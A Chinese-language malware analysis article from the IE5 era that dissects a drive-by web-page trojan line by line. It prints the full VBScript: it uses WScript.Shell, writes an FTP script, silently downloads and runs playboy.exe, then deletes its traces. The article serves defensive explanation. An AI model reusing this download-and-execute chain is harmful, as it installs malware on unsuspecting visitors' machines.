直播中
[應(yīng)用文]揭開(kāi)“遠(yuǎn)古”網(wǎng)頁(yè)木馬的神秘面紗 writer: demonalex email: demonalex_at_hackermail.com http://demonalex.nease.net 在現(xiàn)時(shí)的這個(gè)資訊發(fā)達(dá)的年代,會(huì)做網(wǎng)頁(yè)的人就不少了,但會(huì)做網(wǎng)頁(yè)木馬的人又有多少呢?(PS:一定不會(huì)比會(huì)做網(wǎng)頁(yè) 的人多:P) “做網(wǎng)頁(yè)木馬難嗎?” “如何做啊?需要一些什么工具嗎?” ...... 然后論壇者的‘跟帖’更是眾說(shuō)紛紜。也許你只知道是瀏覽了某個(gè)網(wǎng)站的網(wǎng)頁(yè),自己的機(jī)器就會(huì)“中標(biāo)”了,至于為什么 會(huì)“中標(biāo)”,它的原理是什么,這些也許你都沒(méi)有再“追尋”下去了(或許你什么都知道,如果是的話,下面這篇爛文你 就不用再看下去了:P)。 最近很幸運(yùn),筆者小神從一封可疑的、沒(méi)有署名的Email中得到了一個(gè)帶俗稱‘網(wǎng)頁(yè)木馬’的url路徑地址(看來(lái)小神 的仇家還真不少,以后出門(mén)要小心了-_-b)。既然說(shuō)是可疑當(dāng)然就不能直接打開(kāi)來(lái)看了,但好奇心又促使著我進(jìn)入那個(gè)網(wǎng) 址,幾番“掙扎”后決定使用特殊一些的工具上去查看一下這個(gè)url的“虛實(shí)”。 (使用“火眼”打開(kāi)該url地址) (PS:上圖的遮蓋部分為帶網(wǎng)頁(yè)木馬的網(wǎng)站IP地址) ------------------------------------------------------------------------------------------------------------- 附錄:“火眼”的下載地址: http://www.hfjinwei.com/temp/huoyan.rar 注:“火眼”是一只網(wǎng)頁(yè)源碼查看器,另外還附帶一些特殊的功能,如查找惡意網(wǎng)頁(yè)代碼與自定義惡意網(wǎng)頁(yè)代碼查找等。 ------------------------------------------------------------------------------------------------------------- 從圖中可以清楚地看到這個(gè)靜態(tài)網(wǎng)頁(yè)的結(jié)構(gòu)。因?yàn)橹挥泻?jiǎn)短的幾行,因此沒(méi)有什么可疑的地方,除了: 〈object data="http://該主機(jī)的IP地址/playboy.test"〉〈/object〉 〈embed align="center" src="http://該主機(jī)的IP地址/gei.swf" width="500" height="500" border="1"〉〈/embed〉 這兩行標(biāo)簽。瞎了眼的人都能看得出來(lái)就是playboy.test與gei.swf這兩個(gè)文件最為可疑了(用語(yǔ)夸張了點(diǎn)吧:P)。 gei.swf是個(gè)FLASH動(dòng)畫(huà)文件,但為了安全起見(jiàn)還是用flashget通過(guò)它的url把它DOWNLOAD下來(lái)吧(畢竟現(xiàn)在的FLASH跨站攻擊 是挺厲害的),然后用flashhacker將其反‘編譯’,無(wú)收獲(因?yàn)镕LASH跨站攻擊的內(nèi)容超出了本文的范圍,因此就不再多 作解析了,大家有空可以去查閱相關(guān)的資料)。下面接著看playboy.test。使用相同的方法用“火眼”查看這個(gè)文件。 (PS:上圖的遮蓋部分為帶網(wǎng)頁(yè)木馬的網(wǎng)站IP地址,留意看看窗體下方的“火眼”分析提示-_-b,所以說(shuō)有的時(shí)候不要麻木地 相信所有的工具......) 仔細(xì)看一下吧,其實(shí)這整個(gè)“網(wǎng)頁(yè)木馬”的‘玄機(jī)’都暴露在playboy.test這個(gè)HTML中了。為什么說(shuō)它是HTML文件呢?它的 擴(kuò)展名不是*.test嗎?其實(shí)這是木馬安放者用來(lái)迷惑大家的,因?yàn)楫?dāng)瀏覽器在無(wú)法查別該文件是什么類型時(shí)就會(huì)第一時(shí)間嘗 試以HTML的格式來(lái)打開(kāi)它了,這樣剛好應(yīng)了攻擊者的要求。 現(xiàn)在分析一下它的代碼。 首先從第三行開(kāi)始看起(第一、二行為基本的HTML標(biāo)簽,大伙有興趣可以查閱相關(guān)的教程): 〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉 object標(biāo)簽用于在HTML文件中定義一個(gè)ActiveX外部對(duì)象類,以此以便后文調(diào)用該對(duì)象。從上面這一個(gè)標(biāo)簽對(duì)可以看出該定 義的對(duì)象名為‘wsh’,至于它是什么對(duì)象類就不清楚了。如何是好呢?既然你不知道,那執(zhí)行這段腳本的WSH(Windows Sc ripting Host)又是怎么知道的呢? ------------------------------------------------------------------------------------------------------------- 提示:什么是WSH(Windows Scripting Host)? 答:Windows Scripting Host這個(gè)概念最早出現(xiàn)于Windows 98操作系統(tǒng)。大家一定還記得MS-Dos下的批處理命令,它曾有效 地簡(jiǎn)化了我們的工作、帶給我們方便,這一點(diǎn)就有點(diǎn)類似于如今大行其道的腳本語(yǔ)言。但就算我們把批處理命令看成是 一種腳本語(yǔ)言,那它也是98版之前的Windows操作系統(tǒng)所唯一支持的“腳本語(yǔ)言”。而此后隨著各種真正的腳本語(yǔ)言不斷 出現(xiàn),批處理命令顯然就很是力不從心了。面臨這一危機(jī),微軟在研發(fā)Windows 98時(shí),為了實(shí)現(xiàn)多類腳本文件在Windows 界面或Dos命令提示符下的直接運(yùn)行,就在系統(tǒng)內(nèi)植入了一個(gè)基于32位Windows平臺(tái)、并獨(dú)立于語(yǔ)言的腳本運(yùn)行環(huán)境,并 將其命名為“Windows Scripting Host”。WSH架構(gòu)于ActiveX之上,通過(guò)充當(dāng)ActiveX的腳本引擎控制器,WSH為Windows 用戶充分利用威力強(qiáng)大的腳本指令語(yǔ)言掃清了障礙。再具體一點(diǎn)描述:你自己編寫(xiě)了一個(gè)腳本文件,如后綴為*.vbs或*.j s的文件,然后在 Windows 下雙擊并執(zhí)行它,這時(shí),系統(tǒng)就會(huì)自動(dòng)調(diào)用一個(gè)適當(dāng)?shù)某绦騺?lái)對(duì)它進(jìn)行解釋并執(zhí)行,而這個(gè) 程序,就是Windows Scripting Host,程序執(zhí)行文件名為Wscript.exe(若是在命令行下,則為Cscript.exe)。 ------------------------------------------------------------------------------------------------------------- WSH是通過(guò)該object標(biāo)簽的classid屬性來(lái)識(shí)別它所調(diào)用的ActiveX外部對(duì)象類的,classid也叫做類ID,是每一個(gè)WIN32系統(tǒng) 所能識(shí)別的ActiveX對(duì)象類的唯一ID號(hào)?,F(xiàn)在我們知道了ActiveX類ID號(hào),如何能知道它是什么ActiveX對(duì)象類呢?很簡(jiǎn)單, 大伙跟小神一塊打開(kāi)注冊(cè)表。 進(jìn)入注冊(cè)表以后,按菜單欄的“編輯”->“查找...”(如下圖)。 在“查找目標(biāo)”中輸入我們已經(jīng)知道的那個(gè)classid值,按“查找下一個(gè)”按鈕。在‘漫長(zhǎng)’的等待過(guò)程過(guò)后...(得到下圖) (從右邊的鍵值顯示區(qū)中看到這個(gè)是什么對(duì)象類了吧?) 從上圖中我們可以看出木馬安放者讓我們調(diào)用的ActiveX對(duì)象類是“Windows Script Host Shell”對(duì)象類,這個(gè)類出了名是 駭客最喜歡用的類之一(看到這里已經(jīng)可以猜到這個(gè)網(wǎng)頁(yè)不是什么好東西了:P)。其實(shí)樓上的那對(duì)object標(biāo)簽也可以直接放入 SCRIPT標(biāo)簽對(duì)中,用VBScript可以寫(xiě)成: Dim wsh Set wsh=CreateObject("WScript.Shell") 說(shuō)說(shuō)重點(diǎn)吧,這個(gè)類最“駭人聽(tīng)聞”的就是它的其中一個(gè)最主要的調(diào)用“方法”---run方法,格式: wsh.Run("程序命令行") 使用它就能在網(wǎng)頁(yè)的解析端(客戶端,也就是瀏覽該網(wǎng)頁(yè)的用戶主機(jī)上)隨意地執(zhí)行所有級(jí)別的執(zhí)行程序了。(PS:留意一下, 下面你就可以看到這個(gè)方法的調(diào)用過(guò)程了:P) 現(xiàn)在讓我們回到playboy.test分析部分,第四行開(kāi)始的是SCRIPT的標(biāo)簽對(duì)及其內(nèi)容部分了,在SCRPIT標(biāo)簽中定義了標(biāo)簽 對(duì)中的解釋腳本為VBScript。SCRIPT標(biāo)簽對(duì)的內(nèi)容(詳細(xì)請(qǐng)看下面每條語(yǔ)句后面緊跟的解釋部分): Dim fs,t '聲明兩個(gè)變量fs與t Set fs=CreateObject("Scripting.FileSystemObject") '定義變量fs為Scripting.FileSystemObject類對(duì)象 Set t=fs.CreateTextFile("playboy.txt,True) '定義變量t為新建文檔playboy.txt的操作句柄對(duì)象 t.WriteLine("open 放置木馬的FTP主機(jī)地址") '向playboy.txt寫(xiě)入一個(gè)文本 t.WriteLine("ftp") t.WriteLine("any@any.net") t.WriteLine("bin") t.WriteLine("lcd c:\") t.WriteLine("get playboy.exe") t.WriteLine("bye") t.Close '關(guān)閉文件操作句柄 為了實(shí)驗(yàn)一下這段代碼的功能,小神當(dāng)即將上面的代碼拷貝下來(lái),放在一個(gè)擴(kuò)展名為vbs(VBSCRIPT腳本)的ASCII文件文件中 ,并在cmd shell下運(yùn)行,隨即發(fā)現(xiàn)在該VBSCRIPT腳本的同一目錄下生成一個(gè)名為playboy.txt的文本文件。打開(kāi)后: (遮蓋部分為放置木馬的FTP主機(jī)地址) 現(xiàn)在知道那段VBS代碼是干什么的了吧?至于它所生成的這個(gè)playboy.txt都有什么作用呢?朋友,繼續(xù)往下看吧。 wsh.Run "ftp -s:playboy.txt",0,true 這一行調(diào)用了三個(gè)參數(shù)的run方法格式,用于使用剛剛生成的腳本型文檔playbox.txt與FTP服務(wù)器進(jìn)行交互式通信。 ------------------------------------------------------------------------------------------------------------- 附錄:關(guān)于WScript.Shell的Run方法的三參數(shù)格式如下: WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn]) 參數(shù) strCommand 在 strCommand 參數(shù)內(nèi)部的環(huán)境變量被自動(dòng)擴(kuò)展。 intWindowStyle 這是為新進(jìn)程在STARTUPINFO結(jié)構(gòu)內(nèi)設(shè)置的wShowWindow元素的值。其意義與ShowWindow中的nCmdShow參數(shù)相同,可取以下值 之一。 SW_HIDE 0 隱藏窗口并激活另一窗口。 SW_MINIMIZE 6 最小化指定窗口并激活按 Z 序排序的下一個(gè)頂層窗口。 SW_RESTORE 9 激活并顯示窗口。若窗口是最小化或最大化,則恢復(fù)到原來(lái)的大小和位置。在還原應(yīng)用程序的最小化窗口時(shí),應(yīng)指定該標(biāo) 志。 SW_SHOW 5 以當(dāng)前大小和位置激活并顯示窗口。 SW_SHOWMAXIMIZED 3 激活窗口并以最大化顯示該窗口。 SW_SHOWMINIMIZED 2 激活窗口并以最小化顯示該窗口。 SW_SHOWMINNOACTIVE 7 最小化顯示窗口。活動(dòng)窗口保持活動(dòng)。 SW_SHOWNA 8 以當(dāng)前狀態(tài)顯示窗口?;顒?dòng)窗口保持活動(dòng)。 SW_SHOWNOACTIVATE 4 按窗口最近的大小和位置顯示?;顒?dòng)窗口保持活動(dòng)。 SW_SHOWNORMAL 1 激活并顯示一個(gè)窗口。若窗口是最小化或最大化,則恢復(fù)到其原來(lái)的大小和位置。 blnWaitOnReturn 如果未指定blnWaitOnReturn或其值為FALSE,則該方法立即返回到腳本繼續(xù)執(zhí)行而不等待進(jìn)程結(jié)束。 若blnWaitOnReturn設(shè)為T(mén)RUE,則Run方法返回由應(yīng)用程序返回的任何錯(cuò)誤代碼。如果未指定blnWaitOnReturn或其值為FALSE, 則Run返回錯(cuò)誤代碼0(zero)。 ------------------------------------------------------------------------------------------------------------- 通過(guò)上面的附錄可以清楚地看到最后的那兩個(gè)參數(shù)只是影響Run方法的執(zhí)行狀態(tài)與形式,而不影響它的執(zhí)行語(yǔ)句本身,那么第 一個(gè)Run方法的執(zhí)行語(yǔ)句就是: ftp -s:playboy.txt 通過(guò)實(shí)驗(yàn)我們得知這條語(yǔ)句是以批處理的形式執(zhí)行FTP連接的。既然是這樣我們就試試直接以手動(dòng)的方式來(lái)模擬那個(gè)play boy.txt工作吧,看看會(huì)有什么結(jié)果(如下圖)。 (上圖的遮蓋部分為帶網(wǎng)頁(yè)木馬的FTP服務(wù)器地址與主機(jī)號(hào)) 當(dāng)整個(gè)‘批處理’的手動(dòng)過(guò)程完成后我們可以在本地機(jī)器的C:\下發(fā)現(xiàn)一個(gè)名為playboy.exe的執(zhí)行程序?,F(xiàn)在再回到“作 案現(xiàn)場(chǎng)”,看看第二個(gè)Run方法的調(diào)用情況: wsh.Run "c:\playboy.exe" 嘿嘿,這個(gè)playboy.exe是什么東西相信也不用小神多說(shuō)了吧(十有八九是木馬的服務(wù)端了,不相信?運(yùn)行它試試看吧,PS: 出了事別拿磚頭砸小神的腦袋就好:P)? 至于最后的兩行嘛,是為了掩人耳目用的: fs.DeleteFile "playboy.txt",true '強(qiáng)行刪除playboy.txt文件(注:第一個(gè)參數(shù)為刪除目標(biāo),第二個(gè)參數(shù)為是否強(qiáng)行刪 '除) windows.close '關(guān)閉該窗體 總結(jié): 從剛才分析了整個(gè)“網(wǎng)頁(yè)木馬”的結(jié)構(gòu)來(lái)看,站在攻擊者的角度可以歸納出三點(diǎn)針對(duì)攻擊手法的必要技術(shù)元素: 1)被攻擊者的IE瀏覽器版本號(hào)比較低(5.X) 2)被攻擊者的瀏覽器必須啟用“運(yùn)行ActiveX控件和插件”(原因是因?yàn)槟莻€(gè)playboy.test文件所調(diào)用的Shell腳本是通過(guò)Ac tiveX控件解釋執(zhí)行的) 3)攻擊者必須擁有一個(gè)WEB服務(wù)器與FTP服務(wù)器(不一定要是同一臺(tái)機(jī)器) 4)擁有一只不錯(cuò)的木馬(當(dāng)被攻擊者下載該木馬服務(wù)器時(shí)能夠躲殺毒軟件的‘追捕’,運(yùn)行時(shí)能穿透被攻擊者的網(wǎng)絡(luò)防火墻) 當(dāng)然,這類攻擊也會(huì)有一定的弊端了: 1)若被攻擊者的IE瀏覽器版本號(hào)比較高(6.X)就‘沒(méi)轍’了... 2)對(duì)那些連“運(yùn)行ActiveX控件和插件”也禁用的‘極度小心主義者’是不起作用的 3)有可能暴露攻擊者的FTP服務(wù)器信息(如帳號(hào)密碼等等) 4)良好的個(gè)人防御系統(tǒng)(包括殺毒防火墻與網(wǎng)絡(luò)防火墻)能有效地阻止木馬類的攻擊 學(xué)習(xí)某種黑客技巧的攻擊方法只是為了更好地去防止與杜絕它的“發(fā)生”,但如果你只是一名“什么都不想知道”的個(gè) 人用戶但又想防止此類攻擊于“未然”的話,那我勸你還是盡早升級(jí)你的IE瀏覽器(升至6.X)吧。